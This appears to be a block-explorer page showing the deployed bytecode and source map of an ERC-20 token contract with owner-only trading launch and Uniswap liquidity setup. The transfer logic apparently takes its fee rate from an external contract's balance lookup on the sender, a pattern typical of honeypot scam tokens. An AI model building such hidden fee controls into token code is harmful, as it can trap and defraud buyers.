152600401610ac5929190611788565b6020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0591906117d9565b506001600a5f6101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611874565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7790611902565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d5a91906113c2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9e575f80fd5b5f8111610da9575f80fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1575f80fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e415750600b54600c54115b15610e5057600e549050610e68565b600c5f815480929190610e629061194d565b91905055505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ef157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f925760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610f509190611499565b602060405180830381865afa158015610f6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8f9190611994565b90505b611019610fbb6064610fad848661117c90919063ffffffff16565b6111bc90919063ffffffff16565b61100b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111e190919063ffffffff16565b61115690919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110aa8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461115690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114891906113c2565b60405180910390a350505050565b5f82821115611163575f80fd5b5f828461117091906119bf565b90508091505092915050565b5f80830361118c575f90506111b6565b5f828461119991906119f2565b90508284826111a89190611a60565b146111b1575f80fd5b809150505b92915050565b5f8082116111c8575f80fd5b5f82846111d59190611a60565b90508091505092915050565b5f8082846111ef9190611a90565b9050838110156111fd575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561123e578082015181840152602081019050611223565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61126382611207565b61126d8185611211565b935061127d818560208601611221565b61128681611249565b840191505092915050565b5f6020820190508181035f8301526112a98184611259565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112de826112b5565b9050919050565b6112ee816112d4565b81146112f8575f80fd5b50565b5f81359050611309816112e5565b92915050565b5f819050919050565b6113218161130f565b811461132b575f80fd5b50565b5f8135905061133c81611318565b92915050565b5f8060408385031215611358576113576112b1565b5b5f611365858286016112fb565b92505060206113768582860161132e565b9150509250929050565b5f8115159050919050565b61139481611380565b82525050565b5f6020820190506113ad5f83018461138b565b92915050565b6113bc8161130f565b82525050565b5f6020820190506113d55f8301846113b3565b92915050565b5f805f606084860312156113f2576113f16112b1565b5b5f6113ff868287016112fb565b9350506020611410868287016112fb565b92505060406114218682870161132e565b9150509250925092565b5f60ff82169050919050565b6114408161142b565b82525050565b5f6020820190506114595f830184611437565b92915050565b5f60208284031215611474576114736112b1565b5b5f611481848285016112fb565b91505092915050565b611493816112d4565b82525050565b5f6020820190506114ac5f83018461148a565b92915050565b5f80604083850312156114c8576114c76112b1565b5b5f6114d5858286016112fb565b92505060206114e6858286016112fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061153457607f821691505b602082108103611547576115466114f0565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611581602083611211565b915061158c8261154d565b602082019050919050565b5f6020820190508181035f8301526115ae81611575565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6115e9601783611211565b91506115f4826115b5565b602082019050919050565b5f6020820190508181035f830152611616816115dd565b9050919050565b5f8151905061162b816112e5565b92915050565b5f60208284031215611646576116456112b1565b5b5f6116538482850161161d565b91505092915050565b5f60408201905061166f5f83018561148a565b61167c602083018461148a565b9392505050565b5f819050919050565b5f819050919050565b5f6116af6116aa6116a584611683565b61168c565b61130f565b9050919050565b6116bf81611695565b82525050565b5f60c0820190506116d85f83018961148a565b6116e560208301886113b3565b6116f260408301876116b6565b6116ff60608301866116b6565b61170c608083018561148a565b61171960a08301846113b3565b979650505050505050565b5f8151905061173281611318565b92915050565b5f805f6060848603121561174f5761174e6112b1565b5b5f61175c86828701611724565b935050602061176d86828701611724565b925050604061177e86828701611724565b9150509250925092565b5f60408201905061179b5f83018561148a565b6117a860208301846113b3565b9392505050565b6117b881611380565b81146117c2575f80fd5b50565b5f815190506117d3816117af565b92915050565b5f602082840312156117ee576117ed6112b1565b5b5f6117fb848285016117c5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61185e602483611211565b915061186982611804565b604082019050919050565b5f6020820190508181035f83015261188b81611852565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118ec602283611211565b91506118f782611892565b604082019050919050565b5f6020820190508181035f830152611919816118e0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119578261130f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361198957611988611920565b5b600182019050919050565b5f602082840312156119a9576119a86112b1565b5b5f6119b684828501611724565b91505092915050565b5f6119c98261130f565b91506119d48361130f565b92508282039050818111156119ec576119eb611920565b5b92915050565b5f6119fc8261130f565b9150611a078361130f565b9250828202611a158161130f565b91508282048414831517611a2c57611a2b611920565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a6a8261130f565b9150611a758361130f565b925082611a8557611a84611a33565b5b828204905092915050565b5f611a9a8261130f565b9150611aa58361130f565b9250828201905080821115611abd57611abc611920565b5b9291505056fea26469706673582212208b907c49512cfb2c683b78bd9ad4cfbdf5c2d9b1da775ac88a51ecf10b334fa364736f6c63430008180033

Deployed Bytecode Sourcemap

2212:4046:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3622:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4575:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3523:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5301:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3713:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3808:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1970:148;;;;;;;;;;;;;:::i;:::-;;2126:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3428:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4411:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4733:560;;;:::i;:::-;;4269:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3622:83;3659:13;3692:5;3685:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3622:83;:::o;4575:150::-;4641:4;4658:37;4667:10;4679:7;4688:6;4658:8;:37::i;:::-;4713:4;4706:11;;4575:150;;;;:::o;3523:91::-;3567:7;3594:12;;3587:19;;3523:91;:::o;5301:256::-;5390:4;5407:36;5417:6;5425:9;5436:6;5407:9;:36::i;:::-;5454:73;5463:6;5471:10;5483:43;5519:6;5483:11;:19;5495:6;5483:19;;;;;;;;;;;;;;;:31;5503:10;5483:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5454:8;:73::i;:::-;5545:4;5538:11;;5301:256;;;;;:::o;3713:83::-;3754:5;3779:9;;;;;;;;;;;3772:16;;3713:83;:::o;3808:110::-;3865:7;3892:9;:18;3902:7;3892:18;;;;;;;;;;;;;;;;3885:25;;3808:110;;;:::o;1970:148::-;1895:10;1885:20;;:6;;;;;;;;;;:20;;;1877:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2077:1:::1;2040:40;;2061:6;::::0;::::1;;;;;;;;2040:40;;;;;;;;;;;;2108:1;2091:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1970:148::o:0;2126:79::-;2164:7;2191:6;;;;;;;;;;;2184:13;;2126:79;:::o;3428:87::-;3467:13;3500:7;3493:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3428:87;:::o;4411:156::-;4480:4;4497:40;4507:10;4519:9;4530:6;4497:9;:40::i;:::-;4555:4;4548:11;;4411:156;;;;:::o;4733:560::-;1895:10;1885:20;;:6;;;;;;;;;;:20;;;1877:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4805:14:::1;;;;;;;;;;;4804:15;4796:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;4858:63;4875:4;4890:15;;;;;;;;;;;4908:12;;4858:8;:63::i;:::-;4966:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4948:55;;;5012:4;5019:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4948:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4932:13;;:110;;;;;;;;;;;;;;;;;;5053:15;;;;;;;;;;;:31;;;5092:9;5111:4;5117:24;5135:4;5117:9;:24::i;:::-;5143:1;5145::::0;5147:7:::1;:5;:7::i;:::-;5155:15;5053:118;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5189:13;;;;;;;;;;;5182:29;;;5220:15;;;;;;;;;;;5238:14;5182:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5281:4;5264:14;;:21;;;;;;;;;;;;;;;;;;4733:560::o:0;4269:134::-;4341:7;4368:11;:18;4380:5;4368:18;;;;;;;;;;;;;;;:27;4387:7;4368:27;;;;;;;;;;;;;;;;4361:34;;4269:134;;;;:::o;3926:335::-;4036:1;4019:19;;:5;:19;;;4011:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4117:1;4098:21;;:7;:21;;;4090:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4199:6;4169:11;:18;4181:5;4169:18;;;;;;;;;;;;;;;:27;4188:7;4169:27;;;;;;;;;;;;;;;:36;;;;4237:7;4221:32;;4230:5;4221:32;;;4246:6;4221:32;;;;;;:::i;:::-;;;;;;;;3926:335;;;:::o;5565:690::-;5669:1;5653:18;;:4;:18;;;5645:27;;;;;;5700:1;5691:6;:10;5683:19;;;;;;5713:17;5767:1;5753:16;;:2;:16;;;5745:25;;;;;;5793:13;;;;;;;;;;;5785:21;;:4;:21;;;;:44;;;;;5818:11;;5810:5;;:19;5785:44;5781:139;;;5858:9;;5846:21;;5781:139;;;5900:5;;:8;;;;;;;;;:::i;:::-;;;;;;5781:139;5942:13;;;;;;;;;;;5934:21;;:4;:21;;;;:46;;;;;5975:4;5959:21;;:4;:21;;;;5934:46;5930:132;;;6016:17;;;;;;;;;;;6009:35;;;6045:4;6009:41;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5997:53;;5930:132;6088:61;6118:30;6144:3;6118:21;6129:9;6118:6;:10;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;6088:25;6106:6;6088:9;:13;6098:2;6088:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:61;;;;:::i;:::-;6072:9;:13;6082:2;6072:13;;;;;;;;;;;;;;;:77;;;;6178:27;6198:6;6178:9;:15;6188:4;6178:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6160:9;:15;6170:4;6160:15;;;;;;;;;;;;;;;:45;;;;6236:2;6221:26;;6230:4;6221:26;;;6240:6;6221:26;;;;;;:::i;:::-;;;;;;;;5634:621;5565:690;;;:::o;439:148::-;497:7;530:1;525;:6;;517:15;;;;;;543:9;559:1;555;:5;;;;:::i;:::-;543:17;;578:1;571:8;;;439:148;;;;:::o;90:185::-;148:7;177:1;172;:6;168:23;;188:1;181:8;;;;168:23;201:9;217:1;213;:5;;;;:::i;:::-;201:17;;246:1;241;237;:5;;;;:::i;:::-;:10;229:19;;;;;;266:1;259:8;;;90:185;;;;;:::o;595:147::-;653:7;685:1;681;:5;673:14;;;;;;698:9;714:1;710;:5;;;;:::i;:::-;698:17;;733:1;726:8;;;595:147;;;;:::o;283:148::-;341:7;361:9;377:1;373;:5;;;;:::i;:::-;361:17;;402:1;397;:6;;389:15;;;;;;422:1;415:8;;;283:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:182::-;6672:34;6668:1;6660:6;6656:14;6649:58;6532:182;:::o;6720:366::-;6862:3;6883:67;6947:2;6942:3;6883:67;:::i;:::-;6876:74;;6959:93;7048:3;6959:93;:::i;:::-;7077:2;7072:3;7068:12;7061:19;;6720:366;;;:::o;7092:419::-;7258:4;7296:2;7285:9;7281:18;7273:26;;7345:9;7339:4;7335:20;7331:1;7320:9;7316:17;7309:47;7373:131;7499:4;7373:131;:::i;:::-;7365:139;;7092:419;;;:::o;7517:173::-;7657:25;7653:1;7645:6;7641:14;7634:49;7517:173;:::o;7696:366::-;7838:3;7859:67;7923:2;7918:3;7859:67;:::i;:::-;7852:74;;7935:93;8024:3;7935:93;:::i;:::-;8053:2;8048:3;8044:12;8037:19;;7696:366;;;:::o;8068:419::-;8234:4;8272:2;8261:9;8257:18;8249:26;;8321:9;8315:4;8311:20;8307:1;8296:9;8292:17;8285:47;8349:131;8475:4;8349:131;:::i;:::-;8341:139;;8068:419;;;:::o;8493:143::-;8550:5;8581:6;8575:13;8566:22;;8597:33;8624:5;8597:33;:::i;:::-;8493:143;;;;:::o;8642:351::-;8712:6;8761:2;8749:9;8740:7;8736:23;8732:32;8729:119;;;8767:79;;:::i;:::-;8729:119;8887:1;8912:64;8968:7;8959:6;8948:9;8944:22;8912:64;:::i;:::-;8902:74;;8858:128;8642:351;;;;:::o;8999:332::-;9120:4;9158:2;9147:9;9143:18;9135:26;;9171:71;9239:1;9228:9;9224:17;9215:6;9171:71;:::i;:::-;9252:72;9320:2;9309:9;9305:18;9296:6;9252:72;:::i;:::-;8999:332;;;;;:::o;9337:85::-;9382:7;9411:5;9400:16;;9337:85;;;:::o;9428:60::-;9456:3;9477:5;9470:12;;9428:60;;;:::o;9494:158::-;9552:9;9585:61;9603:42;9612:32;9638:5;9612:32;:::i;:::-;9603:42;:::i;:::-;9585:61;:::i;:::-;9572:74;;9494:158;;;:::o;9658:147::-;9753:45;9792:5;9753:45;:::i;:::-;9748:3;9741:58;9658:147;;:::o;9811:807::-;10060:4;10098:3;10087:9;10083:19;10075:27;;10112:71;10180:1;10169:9;10165:17;10156:6;10112:71;:::i;:::-;10193:72;10261:2;10250:9;10246:18;10237:6;10193:72;:::i;:::-;10275:80;10351:2;10340:9;10336:18;10327:6;10275:80;:::i;:::-;10365;10441:2;10430:9;10426:18;10417:6;10365:80;:::i;:::-;10455:73;10523:3;10512:9;10508:19;10499:6;10455:73;:::i;:::-;10538;10606:3;10595:9;10591:19;10582:6;10538:73;:::i;:::-;9811:807;;;;;;;;;:::o;10624:143::-;10681:5;10712:6;10706:13;10697:22;;10728:33;10755:5;10728:33;:::i;:::-;10624:143;;;;:::o;10773:663::-;10861:6;10869;10877;10926:2;10914:9;10905:7;10901:23;10897:32;10894:119;;;10932:79;;:::i;:::-;10894:119;11052:1;11077:64;11133:7;11124:6;11113:9;11109:22;11077:64;:::i;:::-;11067:74;;11023:128;11190:2;11216:64;11272:7;11263:6;11252:9;11248:22;11216:64;:::i;:::-;11206:74;;11161:129;11329:2;11355:64;11411:7;11402:6;11391:9;11387:22;11355:64;:::i;:::-;11345:74;;11300:129;10773:663;;;;;:::o;11442:332::-;11563:4;11601:2;11590:9;11586:18;11578:26;;11614:71;11682:1;11671:9;11667:17;11658:6;11614:71;:::i;:::-;11695:72;11763:2;11752:9;11748:18;11739:6;11695:72;:::i;:::-;11442:332;;;;;:::o;11780:116::-;11850:21;11865:5;11850:21;:::i;:::-;11843:5;11840:32;11830:60;;11886:1;11883;11876:12;11830:60;11780:116;:::o;11902:137::-;11956:5;11987:6;11981:13;11972:22;;12003:30;12027:5;12003:30;:::i;:::-;11902:137;;;;:::o;12045:345::-;12112:6;12161:2;12149:9;12140:7;12136:23;12132:32;12129:119;;;12167:79;;:::i;:::-;12129:119;12287:1;12312:61;12365:7;12356:6;12345:9;12341:22;12312:61;:::i;:::-;12302:71;;12258:125;12045:345;;;;:::o;12396:223::-;12536:34;12532:1;12524:6;12520:14;12513:58;12605:6;12600:2;12592:6;12588:15;12581:31;12396:223;:::o;12625:366::-;12767:3;12788:67;12852:2;12847:3;12788:67;:::i;:::-;12781:74;;12864:93;12953:3;12864:93;:::i;:::-;12982:2;12977:3;12973:12;12966:19;;12625:366;;;:::o;12997:419::-;13163:4;13201:2;13190:9;13186:18;13178:26;;13250:9;13244:4;13240:20;13236:1;13225:9;13221:17;13214:47;13278:131;13404:4;13278:131;:::i;:::-;13270:139;;12997:419;;;:::o;13422:221::-;13562:34;13558:1;13550:6;13546:14;13539:58;13631:4;13626:2;13618:6;13614:15;13607:29;13422:221;:::o;13649:366::-;13791:3;13812:67;13876:2;13871:3;13812:67;:::i;:::-;13805:74;;13888:93;13977:3;13888:93;:::i;:::-;14006:2;14001:3;13997:12;13990:19;;13649:366;;;:::o;14021:419::-;14187:4;14225:2;14214:9;14210:18;14202:26;;14274:9;14268:4;14264:20;14260:1;14249:9;14245:17;14238:47;14302:131;14428:4;14302:131;:::i;:::-;14294:139;;14021:419;;;:::o;14446:180::-;14494:77;14491:1;14484:88;14591:4;14588:1;14581:15;14615:4;14612:1;14605:15;14632:233;14671:3;14694:24;14712:5;14694:24;:::i;:::-;14685:33;;14740:66;14733:5;14730:77;14727:103;;14810:18;;:::i;:::-;14727:103;14857:1;14850:5;14846:13;14839:20;;14632:233;;;:::o;14871:351::-;14941:6;14990:2;14978:9;14969:7;14965:23;14961:32;14958:119;;;14996:79;;:::i;:::-;14958:119;15116:1;15141:64;15197:7;15188:6;15177:9;15173:22;15141:64;:::i;:::-;15131:74;;15087:128;14871:351;;;;:::o;15228:194::-;15268:4;15288:20;15306:1;15288:20;:::i;:::-;15283:25;;15322:20;15340:1;15322:20;:::i;:::-;15317:25;;15366:1;15363;15359:9;15351:17;;15390:1;15384:4;15381:11;15378:37;;;15395:18;;:::i;:::-;15378:37;15228:194;;;;:::o;15428:410::-;15468:7;15491:20;15509:1;15491:20;:::i;:::-;15486:25;;15525:20;15543:1;15525:20;:::i;:::-;15520:25;;15580:1;15577;15573:9;15602:30;15620:11;15602:30;:::i;:::-;15591:41;;15781:1;15772:7;15768:15;15765:1;15762:22;15742:1;15735:9;15715:83;15692:139;;15811:18;;:::i;:::-;15692:139;15476:362;15428:410;;;;:::o;15844:180::-;15892:77;15889:1;15882:88;15989:4;15986:1;15979:15;16013:4;16010:1;16003:15;16030:185;16070:1;16087:20;16105:1;16087:20;:::i;:::-;16082:25;;16121:20;16139:1;16121:20;:::i;:::-;16116:25;;16160:1;16150:35;;16165:18;;:::i;:::-;16150:35;16207:1;16204;16200:9;16195:14;;16030:185;;;;:::o;16221:191::-;16261:3;16280:20;16298:1;16280:20;:::i;:::-;16275:25;;16314:20;16332:1;16314:20;:::i;:::-;16309:25;;16357:1;16354;16350:9;16343:16;;16378:3;16375:1;16372:10;16369:36;;;16385:18;;:::i;:::-;16369:36;16221:191;;;;:::o

Swarm Source

ipfs://8b907c49512cfb2c683b78bd9ad4cfbdf5c2d9b1da775ac88a51ecf10b334fa3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.